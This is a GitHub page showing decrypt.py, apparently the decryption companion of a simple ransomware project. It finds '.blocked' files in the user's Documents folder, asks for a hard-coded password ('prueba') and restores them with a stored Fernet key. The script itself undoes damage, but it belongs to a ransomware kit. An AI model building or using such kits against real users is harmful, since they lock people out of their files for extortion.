-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdecrypt.py
44 lines (35 loc) · 1.44 KB
/
decrypt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
from cryptography.fernet import Fernet
files = []
if os.name == "Windows" or os.name == "nt":
path = "C:" + chr(92) + "Users" + chr(92) + os.environ.get("USERNAME")+ chr(92) + "Documents" + chr(92)
else:
path = "/Users/" + os.environ.get('USER')+ "/Documents/"
if (os.path.exists(path + '/thekey.key')):
for file in os.listdir(path):
if (file.find(".blocked") != -1):
files.append(file)
with open(path + "thekey.key", "rb") as key:
secretkey = key.read()
secretphrase = "prueba"
while True:
user_phrase = input("Password: ")
if user_phrase == secretphrase:
for file in files:
orig_file = file.rsplit('.', 1)[0]
print(orig_file)
os.rename(path + file, path + orig_file)
file = orig_file
with open(path + file, "rb") as thefile:
content = thefile.read()
content_decrypted = Fernet(secretkey).decrypt(content)
with open(path + file, "wb") as thefile:
thefile.write(content_decrypted)
print("Files decrypted")
with open(path + "README.txt", "w") as readme:
readme.write("Your files have been saved.\nEnjoy :)")
break
else:
print("Wrong password")
else:
print("The file needs to be open in the encrypted directory (.key file is needed)")